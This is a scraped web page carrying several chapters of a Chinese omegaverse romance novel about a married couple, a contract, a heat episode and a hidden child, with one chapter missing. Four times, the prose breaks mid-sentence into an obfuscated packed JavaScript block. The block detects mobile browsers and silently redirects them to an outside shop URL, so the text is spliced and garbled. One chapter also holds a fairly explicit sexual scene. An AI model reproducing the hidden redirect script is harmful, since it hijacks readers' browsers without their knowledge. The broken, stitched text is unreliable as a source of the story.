;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17340631|199309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的小王子。 不过沈之年其实并不比顾景深小很多,甚至好像沈之年还大了几个月。 “其次,恩恩作为一个孩子,他应该得到父亲的照顾,这是他的人权,大人的事情,不要牵涉到孩子。” 道理是这样的道理,沈之年仔细的衡量了顾景深,最后得出的结果,好像顾景深也没有对不起这桩婚姻,恩恩也拥有人权。 但是这个世界上很多事情不能只去考虑谁的行为是对的,谁的行为是错的,因为人有感情,人也可能无意的犯错。 顾景深向来被评价冷漠,无情,现在他分不清这个评价应该给他还是给应该给眼前这个用道德和法律的太平分毫不差的评价所有人的行为,然后一丝情感也不掺杂的做出判断的沈之年。 沈之年看顾景深好像不想说什么话了,就自顾自的抽出一张纸,开始写他的计划。笔尖摩擦纸面,发出轻微的沙沙声,像某种不安的低语。 但是沈之年的嘴巴也没有停下,“我觉得我们应该妥善处理恩恩的事情,还有···你的前女友,她也能算是受害者。”顾家这个嫌贫爱富,高高在上老牌家族的受害者。 不过一小会儿,沈之年就写好了,这些话,在他的脑子里面不知道转过了几圈,下笔的时候就格外的顺畅。 他把纸张递给顾景深。 顾景深靠在黑色皮质办公椅里,昂贵的羊绒衫袖口随意挽起,露出腕骨。他拿起那几页纸,姿态优雅地浏览,阳光勾勒着他深邃的侧脸,他的视线却在扫到恩恩抚养费用须由沈之年知悉,”这一行时,骤然凝固。 “恩恩的抚养费用由我的个人资产出,不需要动用你的财产。” 原本沈之年是想要把恩恩接回顾家的,新娘学院是这么教的,要爱丈夫的每一个孩子,好像爱自己的孩子。 但是沈之年还是记得那天和魏砚淑见面的场景,他是被Omega爸爸一个人带大的,那个Alpha爸爸的面他都没见过,他当然不忍心拆散这对母子,所以才写下了这一条,来帮他们。 “恩恩,是我的孩子,怎么能动你的钱?”他抬眼,嘴角勾起,眼底却毫无笑意,只有冰冷的审视。阳光正好打在他手背上,那里一根青筋无声地凸起。 沈之年不知道这一条怎么了,现在顾景深好像是被冒犯了领地的雄狮,整个人都十分的戒备。 但是不过是一个片刻,沈之年就想明白了,“我不会伤害他们的,他们也很无辜,抚养恩恩是你应尽的义务,我也不在乎那点钱。” 沈之年的话说完,顾景深才收回了视线,“抱歉,恩恩的事情算不上光彩,我不想让任何人知道恩恩的事情,我想添加一条,希望你能够对恩恩的事情保密,不要告诉任何人,包括爸妈,我的家人和你的家人。” 有一个私生子不是一件好事,沈之年也不是喜欢乱说的人,根本不太在乎的就答应了这个。 顾景深拿起笔,龙飞凤舞的添上这一条才接着看下去。 “每个工作日下午,若无特殊情况,顾景深先生回家需陪同沈之年先生吃晚饭,”接下来的条件便都零散下来,看起来很多, 每周不少于三个小时的共同娱乐时间。 早上出门要拥抱。 回家之后要简单的交流。 ······ 但是总结起来,不过是要像正常的夫妻一样生活。 8. 第 8 章 顾景深一目十行的把这些零零碎碎的条款看完,抬起头,就恰好对上了沈之年的视线。 那对漂亮的眼睛里现在写满了忐忑,像是等待审判的羔羊······ “这么想我陪你?”他逼近,温热的呼吸拂过沈之年的额发,带着一丝若有似无的柑橘味,混合着书房里的香氛清香,无端的有一点暧昧,看到沈之年羞红的脸才叹息一声又退了回去。 沈之年不敢去看顾景深的眼睛,他侧开头,面上微红,尴尬的伸手摸了摸脖子,摸到了自己颈侧跳动的脉搏,扑通扑通,应该已经超过120了吧,沈之年没读过医学,他分不清,但是他知道自己的心跳的很快,不用摸就知道。 书房里死一般的寂静,沈之年还在等待顾景深的回答。 “可以。”顾景深的手指在桌面上敲打几下,“你只要求这些么?” 顾景深薄唇抿在一起,“我的意思是你可以要求适量的补偿,房子,车子,甚至是对你父亲项目的经济支持。” 顾景深摸了摸袖口,说起钱,好像又回到了他擅长的领域。 “没关系,不需要。”沈之年本来就不是对生活水平要求很高的类型,小的时候跟着爸爸四处跑,还在贫民窟住过几年,自然也没有那么爱钱,顾景深的提议让他想起了床头柜的离婚协议,但是这些东西本来就不是他需要的,也不是他在这份婚姻里面想得到的。 顾景深沉沉看着沈之年,“你现在不需要,不代表以后,如果你改变主意,我的承诺永远都有效。” 沈之年撇撇嘴,顾景深总是这样,公事公办对的处理他们的事情,他并不坏,只是冷漠。 可恨的冷漠。 沈之年深吸一口气,觉得今天顾景深还算是好说话,拿起协议,直接翻到最后一页空白处,从旁边拿起一支崭新的银色笔,刷刷写下几行字,然后推到陈墨面前。 “签字前,再加一条。”沈之年指着那一行新墨迹,“顾景深需要陪伴沈之年度过发(bushi)情期。” 顾景深的瞳孔骤然收缩,像是听到了什么荒谬绝伦的东西,停了一下,才缓缓坐直身子,声音里面带着一点不确定,“你明白你在说什么么?” “你要我帮你渡过发情期?” 顾景深的身体前倾,一把攥住沈之年放在桌面上的手腕,力道之大,沈之年甚至能感觉到他掌心灼热的温度和微微的汗意。 “你明白我们渡过发情期,这是什么意思么,你明白会发生什么么?” 沈之年思索了一下,还是点了一下头,像蜻蜓一样轻。 omega的发情期一月一次,现在市场上的抑制剂其实或多或少都有一些后遗症,长期使用对身体有一些损害,所以Omega找相熟的AlPha要一个临时标记来度过发情期,其实是正常的事情,也是夫妻之间的合法义务。 但是,他们目前还是合法夫妻,这时候提出度过发情期,就带着一些暧昧的气味。 顾景深的喉结上下滚动了一下,沈之年的发丝柔软的贴在脸边,睫毛的阴影像是一对蝴蝶,轻轻颤抖,表达主人的不安。 “好。” 听到了顾景深的回答,沈之年就好像是获得了赦免一般,整个人都轻松下来,他甚至能够轻巧的站起身,“你今天在家里吃饭么?想吃点什么?” “你什么时候发情期?” 顾景深的眼神幽深,明明还算是正常的对话,沈之年的脸颊微微有一点发红,“可能还有几天?不太准时······” 时间仿佛凝固了,书房里面的一切仿佛都屏住了呼吸。 顾景深侧过脸,也有些尴尬,“那就在家吃吧,你想吃什么?” 说完就从书房落荒而逃。 再看到顾景深,对方已经换了一套家居服,平时一丝不苟的头发,现在也是柔软的垂下来。 很少能见到顾景深这样居家,轻松的样子,顾景深穿成这样子的时候,沈之年才发现,这位平时在外面雷厉风行的顾总,原来有一双十分柔软的狗狗眼,像个还没毕业的大学生。 他问过沈之年喜欢吃的东西之后,先沈之年一步进了厨房。 说不上是怎么回事,沈之年总觉得顾景深好像是突然比之前放松了许多。 Omega学校的老师曾经说过,一个聪明的妻子会等待丈夫主动说出一切,逼问会显得咄咄逼人,伤害夫妻之间的感情。 难道这就是实践案例么? 但是感觉也不像······ 顾景深做的饭菜端上桌子,沈之年也没想明白所以然,干脆就不想了,也不是什么大事。 ---------------------------------------------------- 接下来的几天,好像一切都没有发生一样,两个人又回到之前平静的日子。 不一样是,顾景深出门之前,沈之年总会得到一个拥抱。 他去给顾景深送饭的时候,也会得到一个温和的笑脸。 前些年,Omega的地位十分低下,离婚是想都不敢想的事情,所以大多数Omega会对丈夫做的亏心事视而不见,或者大度原谅,一般这个时候,丈夫就会因为对家庭的愧疚而做出补偿。 这件事在Omega的课本里面还有记载,被称为一种婚姻智慧,沈之年不知道自己和顾景深的婚姻是不是在这个时期,但是觉得这样有一些黑色幽默,原来Alpha有一定的几率在背叛婚姻之后变成符合婚姻要求的好男人。 至少现在,顾景深好像变成一个符合大家要求的好丈夫。 两个人虽然还不在一个房间休息,但是会一起吃晚饭,沈之年说的每一句话,顾景深也都会回应,有点像夫妻。 门吱呀一声,顾景深开门回家。 沈之年忙不迭的跑到门口去迎接他,这里还有他好不容易得来的战利品,如果不是他一直站在这里提醒,顾景深总是会忘记这个他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17340632|199309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们约定好的拥抱。 顾景深回到家里,先把外套下,然后就要进门。 “景深。”还是被沈之年提醒一声,才看向了站在一边的沈之年。 顾景深下意识的侧过头,然后才张开双臂,等着沈之年扑进他怀里,在沈之年看不到的地方,他的耳朵微微泛红。 和大多数Alpha一样,顾景深的胸膛很宽广,抱起来很有安全感。 顾景深看起来好像是忘记沈之年的事情了,但其实他没忘。 沈之年等待拥抱的时候,眼睛亮的像星星。 没人能忘记星星。 沈之年简单的抱了一下就松开,但是顾景深没有。 “摸摸我的口袋。” 沈之年乖乖的伸出手去摸,果然在他口袋里摸到了一个硬硬的东西。 是一个小木头盒子,木质纹理天然细腻,榫卯结构精巧,盒面的雕花栩栩如生。 “是礼物么?” 顾景深点点头,“打开看看。” 这个盒子不大,能被藏在口袋里,沈之年还以为是一枚戒指,没想到打开之后是一个钻石耳钉,款式并不复杂,一看就是沈之年会喜欢的款式,镶嵌的钻石也并非凡品。 钻石仿佛星河碎片,清澈晶莹,就算是沈之年这样不爱珠宝的人也忍不住侧过身子,对着灯光细细观赏,光线游走间,火彩流转如虹。 “送给我的?”沈之年有一点惊喜,这是第一次他收到来自顾景深的私人礼物,之前顾景深也会送礼物,但是很明显都是助理准备的,这次是他从顾景深口袋里拿出来。 顾景深轻轻抚了一下沈之年的侧脸,手指在他的睫毛上面轻巧的滑动了一下,弄的沈之年不得不闭上一只眼睛。 “当然,要不要带一下,很漂亮。” 不等沈之年回应,顾景深就自顾自的拿起耳钉,抬起沈之年的脸。 沈之年的精巧圆润,莹润如凝脂,但是没有耳洞。 顾景深肉眼可见的局促起来,“对不起,我没有注意。” 现在的Omega大多数都有耳垂,这个钻石的净度很高,火彩也好,虽然不大,但也是难得的珍品,顾景深看到的时候就想起来沈之年的眼睛,想到如果这颗钻石在沈之年的耳垂上,和眼睛交相辉映,会有多好看,但是······ 他把钉放回盒子里,“我让他们改一改,过几天再给你······” 沈之年点点头,歪着头去看顾景深的脸,他现在看起来真的像是一个很好的丈夫了,如果之前他就是这个态度,那林之白应该也不会劝他们离婚。 沈之年看的有一点久,顾景深有一点尴尬,“我脸上有东西?” “没有,看你觉得有一些陌生了。” 这句话实在是意味不明,不知到顾景深怎么理解的,竟然转过头,闷闷地应了一声。 沈之年扯了一下顾景深的衣角。 “景深,我好像快要发(bushi)情期了。” 9. 第 9 章 沈之年说起发情期这件事的时候,已经觉得自己的身体微微发热,有了发情期的征兆,但是好像进度也仅限于此了,顾景深一连在家里陪了他两天,发情期还是迟迟不来,他的身体还是微微发热。 虽然顾景深这两天深入浅出,不是在书房远程办公,就是在自己的房间,他们两个人也没见过几次面,但是每次见面,沈之年都会诡异的移开视线,好像他在说谎一样。 傍晚的时候,沈之年的体温更高,喉咙干渴,这个发情期终于算是姗姗来迟。 好像得到了关键的证据,沈之年轻轻敲了顾景深的门。 没人应。 沈之年的身上已经微微发粘,潮湿的一片堆在下面那里,让人很不舒服,发情期让他的头脑也发热,正常情况下,他应该会再敲门,或者等一段时间。 但是隔着门扉,传出来淡淡属于alpha信息素的香味,像是阿里巴巴的宝藏,隔着一道门,只要喊一句芝麻开门,就唾手可得。 微微的发热让沈之年脑袋有一点不太清醒,不自觉的就有一些埋怨,埋怨顾景深这个最近才有一些丈夫样子的丈夫,还是不够体贴,让他这样过来。 alpha的信息素像是一种诱饵。 让人哪怕是深渊也愿意踏入。 他推开了门。 顾景深站在落地窗前,身形颀长,听到开门声,看到推门进来的沈之年,也是微微一愣。 “我发情期到了。”沈之年说着话,也没有停下朝着顾景深前进的脚步。 他很少这样主动,顾景深的信息素和他的人很不一样,是柑橘的味道,很清新柔和的味道,和这个冷漠的人半点也不相似。 但是现在这股清新淡雅的味道沈之年的眼前,却是妖冶勾人,香味像丝带,像触手,有型一般的围绕在他身边,将他拉到顾景深的怀里。 他前进几步,跌跌撞撞,甚至能算得上是急不可耐,撞进顾景深的胸膛。 沈之年将脸贴在顾景深的黑色家居服上,他的皮肤莹白光滑,更是暖玉一般,长发柔软的贴在脸边,显得温顺又美丽。 他的睫毛纤长卷翘,阴影蝶翅一样打在脸上,阴影下的眼睛泛着朦胧的雾气,不等顾景深反应,沈之年已经贴了上来,柔软的身体散发着馨香。 顾景深的喉结无声滚动了几下,最后还是揽住了沈之年的腰。 沈之年已经快被欲念吞噬了,他睁着朦胧的泪眼,颤着手去解顾景深的扣子。 顾景深屏住呼吸,争取不去闻空气中那抹诱人的香气,他抓住沈之年的手,“我可以临时标记你,你先松手。” 但是沈之年还是固执的拽着顾景深的扣子,百分之百的匹配度让眼前的人比du品还要诱人,他就如同伊甸园苹果树上盘绕的蛇,一步一步引导沈之年走向深渊。 人造信息素的技术已经很成熟了,但是匹配度的问题依旧是难题,人造只能创造出大约60-70%匹配度的信息素,据说之前在黑市上,有出现过近似百分之百的人造信息素,但是有十分多的副作用。 但是他还是在黑市走红了,因为在大量使用的时候,人会得到最极致的快感,用过的人都说和天堂无异,所以哪怕有很多的副作用,还是有无数的人前赴后继的愿意买单。 沈之年和顾景深的信息素是天然的,无副作用的。 两个人的信息素只是简单的纠缠在一起,就让人的灵魂震颤。 这条伊甸园里的蛇,诱惑沈之年,也在诱惑顾景深,他向来知道自己这位妻子十分的美丽,但是显然,他的认知还是太浅薄了。 他甚至无法用语言来形容他目前看到的一切。 好像他现在只能看到沈之年微微敞开衣领下的肌肤。 因为发情期微微泛红的粉白肌肤,像是最上好的芙蓉石。 他好像是要醉了,人醉了就会冲动,会去做平时不会做的事情。 仿佛是发情期的Omega天生敏锐,沈之年好像是察觉到了顾景深的犹豫,他没有再去等待alpha的动作,而是讲红唇贴在顾景深的脖颈。 柑橘味的信息素在房间内轰的爆开。 在这么浓的信息素里,沈之年觉得全身都在被这样的信息素侵犯,他已经完全失去理智了,整个人如同被摁在火炉里,全身上下,不只是肌肤,甚至是内脏每一个细胞,都热的发慌,尤其是他的腺体,沈之年整个人都贴在顾景深的身上,下半身无意识的轻轻磨蹭,口中的轻吟是最具诱惑力的勾引。 顾景深深深的看着他,最后还是掀起了沈之年家居服的下摆,塞进了沈之年的嘴巴里,阻挡住这种呻吟,但是口中的异物让沈之年的口涎不受控的留下,明明按照他的教养,他应该收回手,然后给沈之年一个临时标记。 但是他还是不受控的在沈之年的额头落下一个轻吻,沈之年显然不满足于一个吻······ 后面的事情,几乎就失控了,两个人一边扯对方的衣服,一边往床上走。 沈之年已经化成了一汪水,顾景深轻轻一推就倒在床上,睁着迷蒙的眼去看顾景深,拉住顾景深的手,“老公,你摸摸年年······” 顾景深的手滚热,贴在沈之年白玉一样的肌肤上,慢慢向下滑。 顾景深有些分不清自己是谁了,之前受过的教育,下定的决心好像都快要烟消云散,他现在只想抱住眼前的妻子,美丽的,芙蓉石一样的妻子,但是他还是在最后一刻抓住沈之年的手,“你爱我么?” 沈之年其实听不清顾景深究竟在问什么,只能迷迷糊糊的重复,“爱,爱我···爱······” “我是谁?” “老公,你是我老公,你救救我,求你,救救我!好热,你亲亲年年,好不好?” “我···”顾景深急促的喘息了几声,“我是谁?” 然后把沈之年作乱的手摁在床上,沈之年最开始还想要靠撒娇解决,但是眼前的人实在是铁面无私,他只能把理智从不知道哪个犄角旮旯勉强找出来一点,“老公?” “我的名字。” “顾景深!”沈之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17340633|199309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年几乎快哭了,他觉得他在承受这个世界上最难熬的酷刑,他像是无垠沙漠的的行者,明明他最渴望的水就在眼前,但是却得不到,“你是顾景深!” 得到这个回答,顾景深才像是被摁下了什么开关一样,低头亲吻了他的妻子。 沈之年觉得自己终于被从那样的痛苦中解救出来,他攀上身上人的臂膀,就像攀附一棵大树。 但是还不够,这一点水完全解不开沈之年的渴,他还想更多, ······ 顾景深还保有一点理智,他把闹腾个不停的沈之年笼在怀里固定住,“被乱动,小心伤到你······” 他的额头也已经覆盖上一层薄汗,理智的弦马上就绷断,他担心伤到沈之年。 但是他显然多虑的,发情期会让Omega做足准备,沈之年又是水一样的Omega,早就化成了一滩河流······ 顾景深摸到的时候已经是一手的粘腻。 沈之年根本就等不了这么久,不知道是哪里来的力气挣脱顾景深的束缚,翻身抱住顾景深就送上了柔软的唇。 顾景深口中的信息素显然比皮肤上更浓郁,沈之年好像是喝到了琼浆玉露,牢牢地扒住顾景深不肯放。 顾景深好不容易找到气口,把沈之年横放在床上,看着沈之年,不由得笑了一下,这一笑扯动了嘴角刚被沈之年咬破的伤口,“小公(致歉)狗似的······” “希望你醒来之后可不要后悔。” 顾景深还是做好了充足的准备,两个人在马上要溺毙在欲海的时候。 顾景深的电话响了。 沈之年根本什么都听不到,顾景深也不想理会,他伸出长臂够到手机,刚打算摁灭,就被上面的名字吸引了视线。 思考了一秒,还是捂住沈之年不停喘息的嘴巴,“喂,怎么了?” “恩恩,急性···你能不能帮我一下······” “你等一下,我马上过去······” 被摁住嘴巴一点也不舒服,马上过去这句话沈之年听的有点明白,应该是要走,沈之年怎么可能让他走。 “年年,我现在要出去一趟,我先临时标记你好么?”顾景深说完就不容质疑的把沈之年翻过去······ 痛! 腺体因为发(bushi)情期早就鼓胀起来,被犬齿咬破的那一刻,就是不容质疑的痛,但是等到信息素注入进来的时候,一切痛苦都消失了。 注入的信息素量太大,沈之年甚至短暂的昏厥了一下。 再回神的时候,大脑好像是稍微清醒了一点,能够朦胧地看到顾景深穿戴整齐走进来,在自己和他的脖子上都扎了一针。 “我给你注射了抑制剂,等我回来。” 然后房间里充满了安抚信息素,沈之年根本没有抗拒的睡着了。 --------------- 再醒来的时候,沈之年就对上了一双漂亮的眼睛。 “哥哥,你怎么来了?” 10. 第 10 章 林之白不情愿的开口,“顾景深叫我照顾你,他还算是厚道,看到你发情期了也没有占你的便宜,还知道叫我过来。” 沈之年摸摸自己的后颈,现在上面已经严严实实的贴了一个信息素抑制贴,但是沈之年自己知道这个底下有一个牙印。 标记, 是很特殊的感觉,好像飘在空中,什么感官都失去了,只剩下眼前的人······ 不不不,这么形容也不准确, 像是躺在云朵里,却享受着最高级的幸福和快乐······ 沈之年嘴巴上面还在有一搭没一搭的话,但是心里还在回忆临时标记时候的感觉,太奇特了,回忆甚至变得不清楚,沈之年从来没有过这么独特的感官感受。 怪不得,怪不得那个所谓的人造信息素能够横行黑市,到了联盟不得不出动强硬手段打击的地步······ “年年?年年?你听到我说的话了么?” “年年!!!!”林之白猛地加大了音量把沈之年从回忆里面唤出来。 “啊?怎么了,哥哥?” 沈之年眼神闪躲了几下,沈奉月之前总是不在家,沈之年一半的时间是林之白带大的,所以林之白在沈之年面前还是有一些威严在,“哥哥,我这是在哪里呀,我睡了多久?” 其实沈之年对信息素抑制剂有轻微的过敏,之前都是能挨就挨,可是顾景深不知道,还是给他注射了抑制剂。 “三四天,刚好把发情期睡过去,你现在在我家,我要照顾你,总不能一直在你家里,就把你接回家了。” “那姐夫?”沈之年今天一睁眼就闻到了自己信息素的味道,浓的很,家里如果有alpha应该生活的很不方便。 林之白拍拍沈之年,“我把他撵出去了,他好像要和我说点什么,又犹犹豫豫的,看着实在是让人生气,我着急照顾你呢,哪有空和他玩猜谜,就把他撵出去了······” 沈之年跟着复述了一遍林之白的话,“他看起来有话想和你说,但是很犹豫?” 对于薄斯年想要说的话,他心里有一个很坏的猜测,薄斯年和顾景深的关系很好,不会是摸到了恩恩的什么风声吧。 林之白被沈之年这么一反问呢,竟然真的开始思考薄斯年的事情,之前被沈之年占住的大脑开始思考,“对呀,他想要和我说什么呢?” 沈之年怎么敢让林之白思考这件事,赶紧去转移话题,“哥哥,哥哥,那个······” 但是话到了嘴边,看着林之白的眼睛,沈之年又说不出来。 但是林之白多清楚沈之年啊,他一开头,林之白就知道要问什么,“他没来过,他一次都没来看过你!” “不知道跑到哪里去了。” 说到这里林之白恨得牙痒痒,沈之年是他一手带大的,他最知道,沈之年是多么的可怜可爱,世界上所有的人都去爱他,林之白都尤嫌不够,顾景深就算是跪在地上去爱沈之年,林之白都还能挑出一些毛病,更何况还是那个不冷不淡的死样子。 其实沈之年一醒来就知道顾景深没来过,最高的匹配度让他们对对方的信息素都十分的敏感,他一醒来就知道,这里没有顾景深的气味,一点也没有,顾景深应该是没有进来过这个房间, 沈之年抬起手看了一眼光脑,空空如也,没有任何人联系过他, 一个大骗子,明明答应了他的,他违反了协议。 但是想一想,好像他甚至没有什么能够去惩罚他的。 顾景深总是这样,嘴巴上总是很礼貌,礼貌的劝退他。 沈之年不用问顾景深为什么回来,理由总是好找的,沈之年也知道,顾景深肯定能够找到最好的借口,让事情变得滴水不露。 但是顾景深还是已经将事情,将之前他在他面前说过的事情,以事实的形式摆在了他的眼前,顾景深的精力永远会分给恩恩一部分。 沈之年只能接受,或者离开。 这个时候,沈之年其实分不清,顾景深究竟是知道他其实不会离开,所以行事无所顾忌。 还是因为根本不在乎他是不是离开,甚至就是想他离开,所以这样行事。 两个可能还都挺伤人的,沈之年的手指搓了搓,如果现在顾景深在他眼前,他应该很伤心了吧。 真可惜啊。 林之白拍拍沈之年,“所以离婚吧,好不好,这么坚持没有意义,他和你不合适。” 沈之年歪歪头,“不行,哥哥,他会喜欢我的,我们是最合适的。” “哥哥,你知道的,我们是百分百的契合度,这么高的契合度,信息素足够让一个没有情绪的人感受到爱情,我不信他不爱我。” 林之白无法反驳,百分百的契合,相爱是一种自然,在见过顾景深之前,林之白甚至觉得这是一种自然的铁律。 他也说不清为什么顾景深是这样的态度。 总是有保留。 平心而论,顾景深并不是做的很差,沈家的事情,他都会鼎力相助,甚至在不知情的人看来,在完美契合的光环下,这一对甚至可以算得上是神仙眷侣。 但是只要是身边亲近的人,就能在顾景深几乎完美的处理里面,感受到一种客气的疏离。 他对沈之年,对沈家的这些人,都像是在应对一些需要以礼相待的客人。 尊敬有余,亲近不足。 这不是沈之年想要的,也不是他的亲人想看到的。 沈之年需要细心的呵护。 其实一开始,出现一个和沈之年完美契合的人,林之白是开心的,百分百的信息素,几乎是能够让两个人一见面就感受到爱情。 alpha可能在见到完美契合的Omega的第一眼,就想把他藏起来,不允许任何人窥探,他应该能够很好的爱沈之年。 谁也想不到最后是这样的结果。 林之白想要再说一点,又深知沈之白看起来柔弱,但是性格和他的父亲沈奉月一脉相承的倔强。 撞不到南墙,他不会回头。 他现在就祈祷这个南墙能够快来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17340634|199309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻轻的碰沈之年一下,让他回头就好,可不要把年年碰坏了。 他心里千回百转,没有说话,沈之年自然也没有说话,房间里一下子就安静下来。 林之白回神过来,看到沈之年坐在床上,垂着头,两只手搅在一起,像是犯错的孩子等着挨骂一样。 林之白重重的叹息一声,好像自从沈之年的婚姻出现问题,他们两个人的相处总是这样,他催沈之年离婚,沈之年像是做错事的孩子,最后两个人再沉默里不欢而散。 他们两个也很多时候没有好好的说说话了。 “年年,明天我请一天假,我们去游乐园玩吧?” 沈之年一楞,不知道为什么话题转的这么快。 “我们去散散心好不好,不提他了。” 不再提顾景深的事情,沈之年就同意,所以缓慢的点了一下头。 ----------------------------- 林之白说干就干,转头就通知了沈奉月和伊桑,犹豫片刻,还通知了这次的财神爷,薄斯年······ 沈奉月和伊桑自然是没有什么异议,只是拒绝了包场的建议,他到底是一个政客,要爱惜自己的羽毛,这样搞特权的事情说出去并不好听。 沈奉月自己也不觉得自己有什么不同,玩个游乐园还要把其他人都要清走。 但是没想到竟然再薄斯年那里出了意外,这个人一会讲最近要加班,容不出时间,问问能不能迟两天。 一会又说,身体不舒服能不能容两天。 把林之白都给气笑了······ “其实我觉得你不去也可以,都是Omega,你去了也很不方便。” 薄斯年怎么可能放过这个机会,天知道沈家的Omega是多么的难搞,为了成为岳父心里的好女婿,薄斯年几乎是战战兢兢不敢懈怠,终于有坐上沈家餐桌的机会,能和岳父说几句话,要知道,顾景深这种同辈翘楚都得不到去吃团圆饭的机会啊! 他怎么可能在这个时候功亏一篑! “去,我肯定是要去的!但是···非得明天么?”隔着电话,薄斯年都觉得为难,怎么都赶着明天去啊······ 林之白撇撇嘴,“怎么了?怎么偏偏明天不能去?” 他请个假不容易,沈奉月空出一天更不容易了,让沈之年散散心才是头等大事,虽然沈之年应该也不需要,这件事就算不带薄斯年,他们也是要去的······ 不想电话那边,薄斯年倒是支支吾吾起来,“这···明天,明天当然可以去,咱们家的,想什么时候去什么时候去,我是想啊,我到时候把这个游乐场转到你名下,你再带他们过去,那多好啊!” 为了防止被连襟顾景深比下去,薄斯年出手向来大方,几乎是砸钱再林之白的身上,把林之白伺候的舒舒服服。 “用不着,我用不着这么多的资产,影响我形象······” “行吧,那我做一个攻略,到时候你们跟着我走,怎么样?” 12. 第 12 章 沈奉月是个十分精致的Omega,无论如何他的身形都是绝对算不上高大,现在他算不上高大的身躯像一堵沉默的山,挡住了身后大半的光线。 他身后站着伊桑,伊桑半个身子都躲在沈奉月的身后,他不认识顾景深,好像也不明白发生了什么,就只是帮沈之年攥着那只吃了一半、融化得不成样子的草莓冰淇淋,粉红色的黏稠液体滴滴答答,顺着他的手流下来,落在地砖上。 旁边站着林之白的脸色是沈之年从未见过的可怕,铁青一片,所有的血色都褪得干干净净,下颚的线条绷得死紧,仿佛下一秒就要碎裂开来。他的眼睛,那双总是带着点笑意和纵容的眼睛,此刻死死地盯着沈之年,更准确地说,是越过他的肩膀,死死地钉在他身后的顾景深身上。 他的眼睛里面全是愤怒,几乎要把顾景深烧死,然后又缓缓地、极其缓慢地移向那个他不认识的女人,最后,落在恩恩那张酷似顾景深的小脸上。 时间仿佛被按下了暂停键,又被猛地投入了极寒的冰窟。空气凝固成透明的、沉重的固体,挤压着每一个人的胸腔。 林之白根本抑制不住自己的怒火,上前几步,拉住顾景深就给了他一拳,顾景深被打的一歪,但是林之白到底是一个坐办公室的Omega,只是打破了顾景深的嘴角。 他去的太气势汹汹,这件事被发现的也太猝不及防,林之白这一拳好像是把所有人都给打醒了,呆愣的几个人又都动起来。 薄斯年伸出手好像是想要拦一下,但是看到媳妇气势汹汹的背影,又收回手,转念一想,顾景深人高马大的,就往前几步,站到了林之白身后。 沈之年僵在原地,手里还死死攥着那个瘪掉的红色气球,塑料薄膜在掌心发出细微的、濒临破裂的呻吟。整个世界天旋地转。游乐园里那些陌生人的小声,林之白的质问,恩恩痛哭的声音……所有的声音都变成了模糊的、遥远的背景噪音。只有纵横交错的地砖,像一块烧红的烙铁,死死地烙在的视网膜上。 完了······ 沈之年被一种巨大的情绪吞没了,他分不清这是什么,是窘迫,是痛苦,是羞耻,还是不安······ 但是他已经下意识的护在林之白的身前。 顾景深怔了一下,“你以为我会打你哥哥?” 沈之年没这么想,他只是下意识的保护了哥哥。 前面后面都有人撑着,林之白反而冷静下来,指着恩恩,“这是谁?”又指指身后的魏砚姝,“她又是谁?” 魏砚姝往前走了半步,好像想要说什么,但是被顾景深一个眼神拦下,“抱歉,我们回家说。” 这句话是对着沈之年说的。 林之白的视线也不可置信的放在沈之年的后脑上,嘴巴动了又动,无声的说,“你知道?” 但是还是没说,转而看向了顾景深“滚!” 这个字不是从喉咙里发出的,更像是从灵魂深处被硬生生撕扯出来,但是他的声音却异常地平静,平静得像结了冰的湖面,“带着你的人,滚。” 顾景深张了张嘴,似乎想说什么,但是看着脚边眼含热泪的恩恩,最终却只是极其缓慢地、沉重地摇了摇头,然后抱起孩子离开了。 ------------------------ “你知道是么?你什么时候知道的?” 林之白坐在沈之年的对面,竟然已经不生气了,甚至内心深处有一种宁静感,好像超脱了一样,林之白后面回忆起这一天,从蓝星时期的宗教里面找出了解释,他把这个叫做佛家的顿悟,他觉得他在大悲大喜里面,看破了红尘,顿悟了,有一瞬的超脱。 不然他没办法解释,他竟然没有当场杀了顾景深,而是放他走,事后甚至还和隐瞒真相的沈之白心平气和的谈论这件事。 为了不给沈之年压力,房间里只有林之白和沈之年。 